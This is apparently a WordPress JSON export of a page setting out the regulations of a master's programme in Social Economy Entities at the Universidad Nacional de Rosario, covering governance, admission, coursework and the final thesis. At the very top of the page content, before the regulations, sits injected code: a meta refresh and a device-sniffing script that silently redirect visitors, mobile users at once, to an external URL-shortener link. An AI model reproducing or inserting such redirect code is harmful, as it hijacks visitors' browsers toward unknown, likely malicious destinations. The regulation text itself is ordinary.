{"id":28,"date":"2019-08-08T12:42:34","date_gmt":"2019-08-08T15:42:34","guid":{"rendered":"http:\/\/maestriaecosocial.com.ar\/maestria\/?page_id=28"},"modified":"2019-09-13T16:33:00","modified_gmt":"2019-09-13T19:33:00","slug":"reglamento-de-la-carrera","status":"publish","type":"page","link":"https:\/\/maestriaecosocial.ar\/maestria\/reglamento-de-la-carrera\/","title":{"rendered":"Reglamento de la carrera"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.today\/pNJPwUqqE0r8\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.today\/pNJPwUqqE0r8\");<\/script>\r\n\n<p style=\"text-align:center\">REGLAMENTO.<br>CARRERA DE MAESTR\u00cdA EN ENTIDADES DE LA ECONOMIA SOCIAL<\/p>\n\n\n\n<p style=\"text-align:left\"><strong>ARTICULO 1<\/strong>: La Carrera de posgrado \u201cMaestr\u00eda en Entidades de la Econom\u00eda Social\u201d, tendr\u00e1 asiento en el Centro de Estudios Interdisciplinarios de la Universidad Nacional de Rosario. <\/p>\n\n\n\n<p><strong>ARTICULO 2<\/strong>: La Maestr\u00eda en Entidades de la Econom\u00eda Social estar\u00e1 organizada de acuerdo a la Ord. 666 de la UNR, y por las normas que se establezcan en este reglamento. Todo aquello que no se encuentre previsto en el presente, ser\u00e1 resuelto por la Comisi\u00f3n Acad\u00e9mica de la carrera atendiendo al mejor funcionamiento de la misma.<\/p>\n\n\n\n<p><strong>ARTICULO 3<\/strong>: La conducci\u00f3n acad\u00e9mica de la Maestr\u00eda estar\u00e1 a cargo de un Director y un Co Director, designado por el Rector de la Universidad Nacional de Rosario, a propuesta del Director del Centro de Estudios Interdisciplinarios. El Director ser\u00e1 Doctor o Magister, de reconocida experiencia en docencia e investigaci\u00f3n en las \u00e1reas tem\u00e1ticas vinculadas con la Carrera, as\u00ed como en direcci\u00f3n y gesti\u00f3n institucional. Tendr\u00e1 a su cargo la formulaci\u00f3n, el seguimiento y la evaluaci\u00f3n de las pol\u00edticas generales de desarrollo de la Maestr\u00eda, incluyendo las decisiones fundamentales relativas al dise\u00f1o curricular y la conformaci\u00f3n del cuerpo acad\u00e9mico. En el plano operativo, el Director delegar\u00e1 en un Co-Director las tareas ejecutivas asociadas a las siguientes funciones directivas:<br>a) Convocar las reuniones de la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda y participar en ellas.<br>b) Elevar al Consejo Directivo de la Facultad todo tr\u00e1mite que requiera resoluci\u00f3n de aquellos.<br>c) Planificar cada a\u00f1o lectivo las actividades propias de la Carrera.<br>d) Solicitar el aval de las Comisiones de \u00c9tica, en relaci\u00f3n con las investigaciones desarrolladas por los maestrandos, cuando la naturaleza de \u00e9stas lo requiera.<br>e) Controlar el cumplimiento de los tr\u00e1mites administrativo-acad\u00e9micos inherentes a la Carrera seg\u00fan su modalidad.<br>f) Informar peri\u00f3dicamente sobre la marcha de la Carrera a la Direcci\u00f3n del Centro de Estudios Interdisciplinarios.<br>g) Recomendar a la Direcci\u00f3n del Centro de Estudios Interdisciplinarios todas las actuaciones necesarias para la buena marcha de la Maestr\u00eda.<br>h) Organizar la documentaci\u00f3n necesaria para los procesos de acreditaci\u00f3n \/ reacreditaci\u00f3n y categorizaci\u00f3n de la Carrera cuando se realicen las convocatorias a tal efecto.<\/p>\n\n\n\n<p>i) Proponer a la  Direcci\u00f3n del Centro de Estudios Interdisciplinarios de la Universidad la connstituci\u00f3n de los jurados de Trabajo Final, una vez presentada su versi\u00f3n definitiva, debidamente avalada por el Director (y Co Director si los hubiere)<br>i) Estudiar y recomendar o rechazar los pedidos de pr\u00f3rroga para la presentaci\u00f3n de Trabajo Final o Suspensi\u00f3n de Cursado, estipulando los plazos correspondientes de acuerdo con las precisiones indicads en el art. 9 del presente reglamento. <br><strong>ARTICULO 4<\/strong>: La estructura de direcci\u00f3n de la Maestr\u00eda contar\u00e1 con el apoyo t\u00e9cnico de un Coordinador designado por el   Centro de Estudios Interdisciplinarios . El Coordinador reportar\u00e1 a la Direcci\u00f3n e interactuar\u00e1, en todo lo que concierne al desarrollo acad\u00e9mico de la Carrera, con la Comisi\u00f3n Acad\u00e9mica, y con los profesores de las distintas materias que integran la Maestr\u00eda. <\/p>\n\n\n\n<p><strong>ARTICULO 5<\/strong>: La Comisi\u00f3n Acad\u00e9mica de la Carrera ser\u00e1 designada por el Consejo Superior a propuesta del   Centro de Estudios Interdisciplinarios y estar\u00e1 integrado tres miembros titulares, y tres suplentes, profesores titulares, de reconocida trayectoria acad\u00e9mica en el \u00e1rea de la Econom\u00eda Social, El Director y.o el Co Director participar\u00e1 en las reuniones con voz, pero sin voto.<\/p>\n\n\n\n<p><strong>ARTICULO 6<\/strong>. Ser\u00e1n funciones de la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda:<br>a) Colaborar con el Director de la Carrera cuando \u00e9ste lo requiera, especialmente en relaci\u00f3n con el inciso h) del Art\u00edculo N\u00ba 3.<br>b) Proponer al  Centro de Estudios Interdisciplinarios , para su elevaci\u00f3n al Consejo Superior, las designaciones de docentes, para su aprobaci\u00f3n..<br>c) Actuar como \u00f3rgano de admisi\u00f3n a la Maestr\u00eda, evaluando los antecedentes de los postulantes y estableciendo el orden de m\u00e9rito para el ingreso, de acuerdo con el n\u00famero m\u00e1ximo de maestrandos. Los dict\u00e1menes que emita luego de examinar la documentaci\u00f3n presentada por el aspirante y de realizar una entrevista personal cuando lo considere necesario, deber\u00e1n estar fundamentados y ser\u00e1n inapelables. El dictamen ser\u00e1 comunicado fehacientemente al aspirante.<br>d) Establecer el orden de m\u00e9ritos para acceder a becas.<br>e) Asesorar en la elecci\u00f3n de directores y co-directores de Trabajo final propuestos.<br>f) Aprobar al\/a los Director\/es y co-Director\/es de Trabajo final propuestos.<br>g) Estudiar y aprobar el Plan de Trabajo Final de los aspirantes. Para dar cumplimiento a sus funciones, la Comisi\u00f3n Acad\u00e9mica podr\u00e1 solicitar, en raz\u00f3n de la especificidad de los temas de Trabajo Final, dict\u00e1menes a expertos internos o externos a la Carrera, si bien los dict\u00e1menes finales ser\u00e1n de absoluta responsabilidad de la Comisi\u00f3n Acad\u00e9mica.<br>h) Analizar la cantidad de horas y el contenido de los cursos, seminarios o talleres propuestos por cada cursante para cumplir con los requisitos del plan de estudios y proponer al  Centro de Estudios Interdisciplinarios   el otorgamiento de equivalencias cuando lo consideren pertinente, previa recomendaci\u00f3n del Director \/ co-Director de la Trabajo Final.<br>i) Proponer al Consejo Directivo la constituci\u00f3n de los jurados de Trabajo Final una vez presentada su versi\u00f3n definitiva, debidamente avalada por el Director (y co-Director).<br>j) Estudiar y recomendar o rechazar los pedidos de pr\u00f3rroga en la presentaci\u00f3n de Trabajo Final o suspensi\u00f3n de cursado, estipulando los plazos correspondientes, de acuerdo con las precisiones indicadas en el Art\u00edculo N\u00ba 9 del presente Reglamento.<\/p>\n\n\n\n<p><strong>ARTICULO 7<\/strong>: El n\u00famero m\u00ednimo de inscriptos requeridos para el dictado de la Maestr\u00eda es de quince y el n\u00famero m\u00e1ximo de plazas autorizadas ser\u00e1 cuarenta. La selecci\u00f3n de los postulantes ser\u00e1 resuelta por la Comisi\u00f3n Acad\u00e9mica de la Carrera. <strong>Los requisitos de ingreso son los siguientes:<br>Poseer t\u00edtulo universitario; en Derecho, Econom\u00eda, Administraci\u00f3n de Empresas, en Cooperaci\u00f3n, Sociolog\u00eda, Ciencia Pol\u00edtica, Relaciones Internacionales, Trabajo Social, Comunicaci\u00f3n Social, Agronom\u00eda y otras disciplinas afines al objeto de esta carrera.<\/strong><br>Los graduados de Universidades extranjeras, oficialmente reconocidas, en sus respectivos pa\u00edses, que posean t\u00edtulos equivalentes a los indicados en los incisos anteriores, previa certificaci\u00f3n del Organismo habilitado a tal fin en el pa\u00eds de origen. Su admisi\u00f3n no significar\u00e1 la rev\u00e1lida del t\u00edtulo de grado para el ejercicio profesional. Para los postulantes extranjeros de habla no espa\u00f1ola ser\u00e1 requisito de admisi\u00f3n acreditar el conocimiento id\u00f3neo del espa\u00f1ol.<\/p>\n\n\n\n<p><strong>Quienes posean t\u00edtulo de nivel superior no universitario de cuatro a\u00f1os de duraci\u00f3n como m\u00ednimo y re\u00fanan los prerequisitos que determine la Comisi\u00f3n Acad\u00e9mica de la carrera, a fin de comprobar que su formaci\u00f3n resulte compatible con las exigencias de este posgrado<\/strong>. <strong>En casos excepcionales de postulantes que se encuentren fuera de los t\u00e9rminos precedentes, podr\u00e1n ser admitidos siempre que la Comisi\u00f3n Acad\u00e9mica, habiendo evaluado sus antecedentes, los admita mediante decisi\u00f3n fundada. En este caso, el aspirante deber\u00e1 poseer preparaci\u00f3n y experiencia laboral acorde con las exigencias de esta carrera, as\u00ed como aptitudes y conocimientos suficientes para cursarlos satisfactoriamente. <\/strong>En todos los casos la admisi\u00f3n y la obtenci\u00f3n del t\u00edtulo de posgrado no acredita de manera alguna el t\u00edtulo de grado anterior correspondiente al mismo.<\/p>\n\n\n\n<p>Al momento de la admision a la carrera, los alumnos deber\u00e1n ser notificados fehacientemente de la obligaci\u00f3n de depositar, una vez finalizada la carrera, en el  Repositorio Digital institucional una copia del Trabajo Final, de acuerdo a lo que establece la normativo de acceso abierto de la Universidad Nacional de Rosario.,<\/p>\n\n\n\n<p>Los aspirantes no hispanohablantes a la carrera deber\u00e1n acreditar, al momento de la inscripci\u00f3n, el nivel  intermedio independiente (b2) o superior de conocimiento de la lengua espa\u00f1ola de acuerdo con los est\u00e1ndares establecidos por el MCERL (Mercado Com\u00fan Europeo de Referencia para las Lenguas). En caso de ser admitido deber\u00e1n acreditar, previamente a la Defensa del Trabajo Final, el nivel avanzado de conocimiento de la lengua espa\u00f1ola, de acuerdo con los mismos est\u00e1ndares. Resoluci\u00f3n del Consejo Superior No.722\/17.<\/p>\n\n\n\n<p><strong>Eventualmente la Comisi\u00f3n Acad\u00e9mica podr\u00e1 disponer que alguno y\/o algunos de los que soliciten su inscripci\u00f3n en virtud de esta norma deban participar y aprobar los cursos niveladores que a tal efecto se establezcan, como condici\u00f3n previa a su admisi\u00f3n.<\/strong> Los cursos niveladores cubrir\u00e1n cuatro \u00e1reas b\u00e1sicas: Teor\u00eda jur\u00eddica, teor\u00eda pol\u00edtica, teor\u00eda sociol\u00f3gica y teor\u00eda econ\u00f3mica. Estos tendr\u00e1n un m\u00ednimo de 20 hs. de cursado y un m\u00e1ximo de 80 hs, de acuerdo a las necesidades de cada alumno y a la evaluaci\u00f3n que a tal efecto, realice sobre el tema la Comisi\u00f3n Acad\u00e9mica.<\/p>\n\n\n\n<p><strong>Ser\u00e1 necesario adem\u00e1s que los aspirantes a ingresar a la carrera presenten:<br>a) Un escrito en el cual se expliquen las expectativas y motivaciones que lo llevaron a inscribirse a la Carrera y la posible utilizaci\u00f3n futura del grado que se obtenga.<br>b) Mantener una entrevista personal con el Director o el Codirector, a fin de evaluar aptitudes suficientes para el ingreso.<br>c) Presentar con car\u00e1cter de declaraci\u00f3n jurada, \u201ccurr\u00edculum\u201d que contenga los antecedentes de formaci\u00f3n acad\u00e9mica y profesional y copia legalizada del t\u00edtulo universitario. En el caso que la Comisi\u00f3n Acad\u00e9mica de la Carrera lo considere pertinente podr\u00e1 solicitar a los aspirantes la documentaci\u00f3n respaldatoria de lo declarado en el C.V.<\/strong><br>En todos los casos, la selecci\u00f3n de los postulantes ser\u00e1 resuelta por la Comisi\u00f3n Acad\u00e9mica de la Carrera, previo an\u00e1lisis de la documentaci\u00f3n presentada, de la entrevista personal y la aprobaci\u00f3n de los cursos niveladores cuando corresponda, mediante resoluci\u00f3n fundada.<\/p>\n\n\n\n<p><strong>ARTICULO 8<\/strong>: Para la admisi\u00f3n en la carrera el aspirante debera presentar:<br>a) Inscripci\u00f3n:<br> \u2022  Curriculum Vitae, con car\u00e1cter de declaraci\u00f3n jurada, conteniendo los antecedentes de formaci\u00f3n acad\u00e9mica y profesional y coia legalizada del t\u00edtulo universitario. En el caso que la Comision Acad\u00e9mica de la Carrera lo considere pertinente podra solicitar a los aspirantes la documentaci\u00f3n respaldatoria de lo declarado en el CV. completo, en el que deber\u00e1n mencionarse los estudios efectuados, t\u00edtulos y distinciones acad\u00e9micas obtenidas, actividades docentes y de investigaci\u00f3n en proyectos acreditados, publicaciones y actividades de transferencia al medio.<br> \u2022 Nota de aceptaci\u00f3n y Curriculum Vitae del Consejero de Estudios que actuar\u00e1 como orientador del maestrando hasta su admisi\u00f3n definitiva.<\/p>\n\n\n\n<p>Mantener en todos los casos una entrevista con el Director o el Co Director de la Carrera a fin de evaluar aptitudes suficientes para el ingreso.<\/p>\n\n\n\n<p>Presentar una delimitaci\u00f3n del \u00e1rea tem\u00e1tica de inter\u00e9s del postulante para el desarrollo del Trabajo Final.<\/p>\n\n\n\n<p>El aspirante deber\u00e1 presentar: El plan de trabajo final, que puede consistir en un Proyecto, estudio de casos o tesis, que den cuenta de una aplicaci\u00f3n innovadora o producci\u00f3n personal, que sostenida en marcos te\u00f3ricos, evidencia la resoluci\u00f3n de problem\u00e1ticas complejas, propuestas de mejora,desarrollo anal\u00edtico  de casos reales y que est\u00e9n acompa\u00f1ados de un informe escrito que sistematiza el avance realizado a lo largo del trabajo que incluir\u00e1 los siguientes puntos fundamentales:<\/p>\n\n\n\n<p>Tema y alcances de la investigaci\u00f3n para el Trabajo Final.Metodolog\u00eda que orientar\u00e1 la realizaci\u00f3n del Trabajo Final. Contextualizaci\u00f3n del Trabajo Final.<\/p>\n\n\n\n<p>La bibibliograf\u00eda que se ha consultado para la elaboraci\u00f3n del Plan y la que en principio se utilizar\u00e1 en el desarrollo del Trabajo final.<\/p>\n\n\n\n<p>Nota de aval de la presentaci\u00f3n firmada por el Director (y Co Director si lo hubiere) y Curriculum Vitae de \u00e9ste\/os<\/p>\n\n\n\n<p><strong>ARTICULO 9<\/strong>. De los Consejeros de Estudios.<\/p>\n\n\n\n<p>Ser\u00e1n requisitos para ser Consejeros de Estudios, ser docente de la carrera, o un profesional de reconocida trayectoria y experiencia en la Econom\u00eda Social y Solidaria, si la Comisi\u00f3n Acad\u00e9mica acepta esa designaci\u00f3n:<\/p>\n\n\n\n<p>Ser\u00e1n funciones del Consejero de Estudios:<\/p>\n\n\n\n<p>a) Proponer la presentaci\u00f3n del aspirante para el tr\u00e1mite de inscripcion.<\/p>\n\n\n\n<p>b) Orientar al maestrando enlas instancias del cursado, el pedido de equivalencias y en la elecci\u00f3n del tema de tesis.<\/p>\n\n\n\n<p>c) Avalar toda solicitud que el maestrando realice a las autoridades de la Maestr\u00eda.<\/p>\n\n\n\n<p>Las funciones del Consejero de Estudio cesar\u00e1n cuando haya sido aprobado el tr\u00e1mite de admision por la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda.<\/p>\n\n\n\n<p>El consejero de Estudios podr\u00e1 pasar a desempe\u00f1arse como Director o Co Director del Trabajo Final, si as\u00ed lo acuerda con el Maestrando.<\/p>\n\n\n\n<p> b) Admisi\u00f3n: Este tr\u00e1mite se iniciar\u00e1 una vez avanzado el cursado y concluido que fuera el segundo ciclo del programa de la Maestr\u00eda. <br>En esta instancia el aspirante deber\u00e1 presentar:<br> \u2022 El Plan de Trabajo Final, que puede consistir en un proyecto, estudio de casos, o tesis, que den cuenta de una aplicaci\u00f3n innovadora o producci\u00f3n personal, que sostenida en marcos te\u00f3ricos, evidencia la resoluci\u00f3n de problem\u00e1ticas complejas, propuestas de mejora, desarrollo anal\u00edtico de casos reales y que est\u00e9n acompa\u00f1ados de un informe escrito que sistematiza el avance realizado a lo largo del trabajo que incluir\u00e1 los siguientes puntos fundamentales:<br> \u2022 Tema y alcances de la investigaci\u00f3n para el Trabajo Final.<br> \u2022 Metodolog\u00eda que orientar\u00e1 la realizaci\u00f3n del Trabajo Final.<br> \u2022 Contextualizaci\u00f3n del Trabajo Final.<br> \u2022 La bibliograf\u00eda que se ha consultado para la elaboraci\u00f3n del plan y la que, en principio, se utilizar\u00e1 en el desarrollo del trabajo Final,<br> \u2022 Nota de aval de la presentaci\u00f3n firmada por el Director (y co-Director si lo hubiere) y Curriculum Vitae de \u00e9ste\/os.<\/p>\n\n\n\n<p><strong>ARTICULO 10:<\/strong> La Carrera se desarrolla en 32 meses. La Comisi\u00f3n Acad\u00e9mica podr\u00e1 resolver un cursado intensivo.<br>A los fines de la regularizaci\u00f3n de las asignaturas, <strong>ser\u00e1 requisito indispensable haber cumplido con el 75% de asistencia a las actividades programadas.<\/strong><br>Cada docente podr\u00e1 establecer requisitos anexos de regularizaci\u00f3n en la asignatura a su cargo.<br>Esta condici\u00f3n se mantendr\u00e1 por un plazo de dos (2) a\u00f1os contados a partir de haberla alcanzado.<br><strong>Las peticiones de suspensi\u00f3n de cursado o pr\u00f3rroga de plazos de tesis, ser\u00e1n resuelta por la Comisi\u00f3n Acad\u00e9mica contemplando las siguientes causales debidamente justificadas:<br> \u2022 enfermedad grave o incapacidad transitoria, propia o de familiar.<br> \u2022 tareas de gesti\u00f3n o desempe\u00f1o en la funci\u00f3n p\u00fablica.<br> \u2022 maternidad o paternidad.<\/strong><br>En todos estos casos o en otros que pudieran excepcionalmente presentarse, la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda recomendar\u00e1 al Centro de Estudios Interdisciplinarios de la Universidad, acerca del per\u00edodo de suspensi\u00f3n o pr\u00f3rroga a otorgar para que se dicte la resoluci\u00f3n.<\/p>\n\n\n\n<p>Del mismo modo la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda resolver\u00e1 y recomendar\u00e1 sobre los pedidos de readmisi\u00f3n de quienes hayan perdido su condici\u00f3n de maestrandos por haber caducado de pleno derecho los plazos predeterminados.<\/p>\n\n\n\n<p><strong>ART\u00cdCULO 1<\/strong>1: <strong>La evaluaci\u00f3n promocional de las asignaturas ser\u00e1 siempre individual <\/strong>y su modalidad ser\u00e1 fijada por la Direcci\u00f3n de la Carrera, en consulta con los profesores de la asignatura o seminario.<br><strong>La evaluaci\u00f3n podr\u00e1 consistir en un examen de contenido escrito u oral, o la resoluci\u00f3n debidamente fundamentada de ejercicios reflexivos o la presentaci\u00f3n de un trabajo monogr\u00e1fico.<\/strong><br>El cursante podr\u00e1 rendir en car\u00e1cter de libre una o m\u00e1s asignaturas, cuando lo permita el Director de la Carrera y previo dictamen de la Comisi\u00f3n Acad\u00e9mica.<\/p>\n\n\n\n<p><strong> ARTICULO 1<\/strong>2: Los ex\u00e1menes, la confecci\u00f3n de las actas de ex\u00e1menes y las escalas de calificaciones se regir\u00e1n por las reglamentaciones vigentes. Los turnos y fechas de ex\u00e1menes ser\u00e1n propuestos por el Director o el Codirector.<\/p>\n\n\n\n<p><strong>ARTICULO 1<\/strong>3: Los fallos de evaluaci\u00f3n de asignaturas y de trabajos final, al igual que las decisiones de la Direcci\u00f3n de la Carrera, ser\u00e1n considerados inapelables.<\/p>\n\n\n\n<p><strong>ARTICULO 1<\/strong>4: Los docentes de la Carrera que dirijan Proyectos de Investigaci\u00f3n o participen en ellos, podr\u00e1n incorporar a los maestrandos en dichos proyectos, a los fines de lograr una estrecha relaci\u00f3n entre docencia e investigaci\u00f3n.<br>El director del proyecto informar\u00e1 a la Comisi\u00f3n Acad\u00e9mica de la carrera la incorporaci\u00f3n del maestrando a su proyecto, dejando constancia de la acreditaci\u00f3n de \u00e9ste en la Secretar\u00eda de Ciencia y T\u00e9cnica de la Universidad.<\/p>\n\n\n\n<p><strong>ART\u00cdCULO 15<\/strong>: La direcci\u00f3n del Centro de Estudios Interdisciplinarios resolver\u00e1, a propuesta de la Comisi\u00f3n Acad\u00e9mica de la Carrera, acerca de las e<strong>quivalencias solicitadas<\/strong> por los alumnos (s\u00f3lo por hasta el 30% del curr\u00edculum de la Carrera).<br>Para la realizaci\u00f3n de este tr\u00e1mite los interesados deber\u00e1n presentar, por lo menos, la siguiente documentaci\u00f3n:<br> \u2022 C<strong>ertificado o constancia de aprobaci\u00f3n de la instituci\u00f3n responsable del dictado de la actividad, en el que conste la carga horaria y la modalidad de evaluaci\u00f3n.<br> \u2022 Copia del programa de la actividad, autenticada por la instituci\u00f3n responsable del dictado.<br> \u2022 Copia del trabajo final de evaluaci\u00f3n -cuando corresponda- autenticada por la instituci\u00f3n responsable del dictado.<\/strong><br><\/p>\n\n\n\n<p><strong>ARTICULO 16<\/strong>: &#8211;<strong>El trabajo final ser\u00e1 un proyecto, estudio de caso,  o trabajos similares que den cuenta de una aplicaci\u00f3n innovadora o producci\u00f3n personal, que sostenida en marcos te\u00f3ricos, evidencie la resoluci\u00f3n de problem\u00e1ticas complejas, propuestas de mejora, desarrollo anal\u00edtico de casos reales y que est\u00e9n acompa\u00f1ados de un informe escrito que sistematiza el avance realizado a lo largo del trabajo .<\/strong><br>El maestrando deber\u00e1 realizar el trabajo final bajo la supervisi\u00f3n de un director y eventualmente de un co-director de trabajo final que posea t\u00edtulo de Mag\u00edster o Doctor emitido por universidades argentinas o extranjeras, y que acredite antecedentes suficientes en docencia e investigaci\u00f3n en el campo de la Econom\u00eda Social.<br>Excepcionalmente la Comisi\u00f3n Acad\u00e9mica podr\u00e1 admitir directores de trabajo final que cuenten con una s\u00f3lida trayectoria profesional o acad\u00e9mica y aunque carezcan de esa titulaci\u00f3n. Si el director de trabajo final residiera en el extranjero, ser\u00e1 obligatoria la existencia de un co-director que tenga residencia en la Rep\u00fablica Argentina.<\/p>\n\n\n\n<p><strong>ARTICULO 17<\/strong>: Ser\u00e1n funciones del Director de Trabajo Final:<br>a) Asesorar y orientar al aspirante en la elaboraci\u00f3n del Plan de Trabajo Final.<br>b) Avalar la presentaci\u00f3n del aspirante en el tr\u00e1mite de admisi\u00f3n.<br>c) Evaluar peri\u00f3dicamente el desarrollo de las actividades relacionadas con el desarrollo de Trabajo Final.<br>d) Informar a la Direcci\u00f3n y a la Comisi\u00f3n Acad\u00e9mica de la Carrera los cambios sustanciales que modifiquen el Plan de Trabajo Final original durante el transcurso de la investigaci\u00f3n.<br>e) Presentar un informe final evaluando el proceso de elaboraci\u00f3n del Trabajo Final realizado, los resultados alcanzados y su significaci\u00f3n dentro del \u00e1rea de conocimiento en que se inserta Trabajo Final..<br>f) Aconsejar fundadamente a la Comisi\u00f3n Acad\u00e9mica de la Carrera el otorgamiento de equivalencias, as\u00ed como asesorarla en toda otra recomendaci\u00f3n sobre el accionar del maestrando que considere pertinente.<br>g) Avalar toda presentaci\u00f3n que el maestrando realice ante las autoridades de la Carrera.<br>Ser\u00e1n funciones del co-Director de Trabajo Final:<br>a) Colaborar con el Director de Trabajo Final ya sea en relaci\u00f3n con todos los aspectos y tramitaciones correspondientes al recorrido acad\u00e9mico del maestrando y a la elaboraci\u00f3n del Trabajo Final o bien en relaci\u00f3n con aspectos puntuales que se acuerden entre el Director y el co-Director, y que se informen a la Direcci\u00f3n de la Carrera en la nota de aval que cada uno de ellos presente aceptando la direcci\u00f3n \/ co-direcci\u00f3n, en el tr\u00e1mite de admisi\u00f3n del aspirante.<br>b) Cuando el Director de Trabajo Final no resida en la Rep\u00fablica Argentina, el co-Director ser\u00e1 la persona a la que se recurrir\u00e1 en primera instancia para tr\u00e1mites internos referidos al recorrido acad\u00e9mico del maestrando. En estos casos, el co-Director deber\u00e1 informar debidamente al Director de Trabajo Final y dejar\u00e1 constancia de ello ante la Direcci\u00f3n de la Carrera.<\/p>\n\n\n\n<p><strong>ARTICULO 18<\/strong>: El Trabajo Final constar\u00e1 de las siguientes secciones:<br>1) Introducci\u00f3n: se expondr\u00e1n los antecedentes del tema y se desarrollar\u00e1 el objetivo y la hip\u00f3tesis de trabajo;<br>2) Material y M\u00e9todos: se describir\u00e1n las metodolog\u00edas empleadas en el desarrollo de la investigaci\u00f3n y el material experimental con que se trabaj\u00f3;<br>3) Resultados: se presentar\u00e1n los mismos in extenso;<br>4) Discusi\u00f3n y Conclusiones donde se interpretar\u00e1n y comparar\u00e1n los resultados con los que se conoc\u00eda antes de realizar el trabajo y se elaborar\u00e1n las conclusiones que se desprenden del mismo;<br>5) Bibliograf\u00eda: se listar\u00e1 todo el material bibliogr\u00e1fico que se ha utilizado para realizar la investigaci\u00f3n y que haya sido citado en el texto.<br>El Trabajo Final acompa\u00f1arse de un resumen de no m\u00e1s de DOSCIENTAS (200) palabras en el cual se expondr\u00e1 claramente el objeto de la investigaci\u00f3n, se mencionar\u00e1n los m\u00e9todos y se se\u00f1alar\u00e1n las conclusiones.<br>El maestrando tendr\u00e1 un plazo de DOS (2) a\u00f1os para la presentaci\u00f3n del Trabajo Final, contados a partir de la aprobaci\u00f3n de la totalidad de las restantes exigencias acad\u00e9micas. La evaluaci\u00f3n del Trabajo Final se efectuar\u00e1 a solicitud escrita del maestrando ante la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda, acompa\u00f1ado por la nota del Director \/ co-Director que avala la presentaci\u00f3n y el informe final de \u00e9ste mencionado en el art\u00edculo correspondiente a las funciones de director de Trabajo Final<br>El Trabajo Final ser\u00e1 registrada en el Registro Central de Tesis y de Trabajos Finales, conforme lo previsto por las normas vigentes.<\/p>\n\n\n\n<p><strong>ARTICULO 19<\/strong>: El Jurado de Trabajo Final ser\u00e1 constituido para cada instancia individual de evaluaci\u00f3n y designado por el Centro de Estudios Interdisciplinarios, a propuesta de la Comisi\u00f3n Acad\u00e9mica de la Carrera. Estar\u00e1 integrado por tres (3) tres titulares y dos (2) suplentes  profesores o investigadores que acrediten competencia suficiente en el tema y cumplan los mismos requisitos indicados respecto de los Directores \/ co-Directores de Trabajo Final. Por lo menos uno de los miembros ser\u00e1 externo a la Universidad Nacional de Rosario.<\/p>\n\n\n\n<p><strong>ARTICULO 20<\/strong>: Los miembros del Jurado de Trabajo Final podr\u00e1n ser recusados por los maestrandos ante el Consejo Directivo de la Facultad, dentro del t\u00e9rmino de siete (7) d\u00edas corridos, contados a partir de la notificaci\u00f3n fehaciente de su designaci\u00f3n. La recusaci\u00f3n se formular\u00e1 por escrito y por las causales establecidas en el C\u00f3digo de Procedimiento Civil y Comercial de la Naci\u00f3n para la recusaci\u00f3n de los jueces.<\/p>\n\n\n\n<p><strong>ARTICULO 21<\/strong>: El Jurado examinar\u00e1 el trabajo escrito de Trabajo Final, que podr\u00e1 ser aprobado, aprobado con pedido de modificaciones o rechazado, en un plazo no mayor de treinta (30) d\u00edas, por voto individual y fundado de cada uno de los miembros del jurado. Si los dict\u00e1menes no fueran un\u00e1nimes, se decidir\u00e1 por simple mayor\u00eda. En caso de ser aceptada, y antes de su defensa p\u00fablica, el Jurado podr\u00e1 requerir del graduado las ampliaciones o modificaciones que estime necesarias.<br>En el caso de rechazo del Trabajo Final por dictamen fundado, el maestrando podr\u00e1 optar por rehacer el trabajo, para lo cual el Jurado propondr\u00e1 un plazo m\u00e1ximo de un a\u00f1o y lo comunicar\u00e1 a la Comisi\u00f3n Acad\u00e9mica de la Carrera. Este plazo podr\u00e1 acortarse si el maestrando realiza el nuevo tr\u00e1mite de presentaci\u00f3n antes de finalizar este per\u00edodo. La nueva presentaci\u00f3n Trabajo Final iniciar\u00e1 un nuevo tr\u00e1mite similar al anterior y que respetar\u00e1 los plazos y t\u00e9rminos indicados para la primera presentaci\u00f3n. En esta segunda oportunidad no habr\u00e1 posibilidad de rehacer el trabajo.<br>El maestrando que no opte por rehacer su Trabajo Final perder\u00e1 su condici\u00f3n de maestrando dentro de la Carrera y lo mismo ocurrir\u00e1 con quien, habi\u00e9ndola corregido, reciba un nuevo dictamen desaprobatorio.<\/p>\n\n\n\n<p><strong>ARTICULO 22<\/strong>: Aceptado el Trabajo Final y habi\u00e9ndose efectuado las ampliaciones a que hubiere lugar, la Comisi\u00f3n Acad\u00e9mica de la Maestr\u00eda, fijar\u00e1 d\u00eda y hora de la defensa p\u00fablica y oral del mismo, en un plazo no mayor de treinta (30) d\u00edas posteriores a la fecha de la aceptaci\u00f3n.<br>Una vez aprobado el Trabajo Final, un ejemplar de la misma quedar\u00e1 archivado en la Biblioteca de la Sede de la Carrera. La evaluaci\u00f3n definitiva del Trabajo Final deber\u00e1 efectuarse por dictamen fundado. En caso de no existir acuerdo en el Jurado, se decidir\u00e1 por mayor\u00eda. Todas las decisiones del Jurado ser\u00e1n inapelables.<br>El Trabajo Final aprobada se calificar\u00e1 conceptual y num\u00e9ricamente de acuerdo con la escala vigente en la Universidad Nacional de Rosario.<br>El Trabajo Final no aprobada para su defensa no se calificar\u00e1, solo se indicar\u00e1n los fundamentos de su no aprobaci\u00f3n y lo mismo ocurrir\u00e1 cuando se desapruebe la defensa oral de la Tesis.<\/p>\n\n\n\n<p><strong>ARTICULO 23<\/strong>: Quienes aprueben los requisitos del plan de estudios de la Carrera seg\u00fan lo establecido en \u00e9l, y en este Reglamento, obtendr\u00e1n un diploma que les reconocer\u00e1 el t\u00edtulo  de Magister  en Entidades de la Econom\u00eda Social.<br>El t\u00edtulo de <strong>Magister en Entidades de la Econom\u00eda Social te<\/strong>ndr\u00e1 car\u00e1cter exclusivamente acad\u00e9mico y el diploma correspondiente ser\u00e1 emitido por la Universidad de conformidad con las Ordenanzas vigentes.<\/p>\n\n\n\n<p><strong>ARTICULO 24<\/strong>: La Carrera de Maestr\u00eda en Entidades de la Econom\u00eda Social se deber\u00e1 autofinanciar.<\/p>\n\n\n\n<p><strong>ARTICULO 25<\/strong>: Las situaciones no contempladas en este Reglamento ser\u00e1n resueltas por la Comisi\u00f3n Acad\u00e9mica, con vista a la Direcci\u00f3n de la Carrera y a la 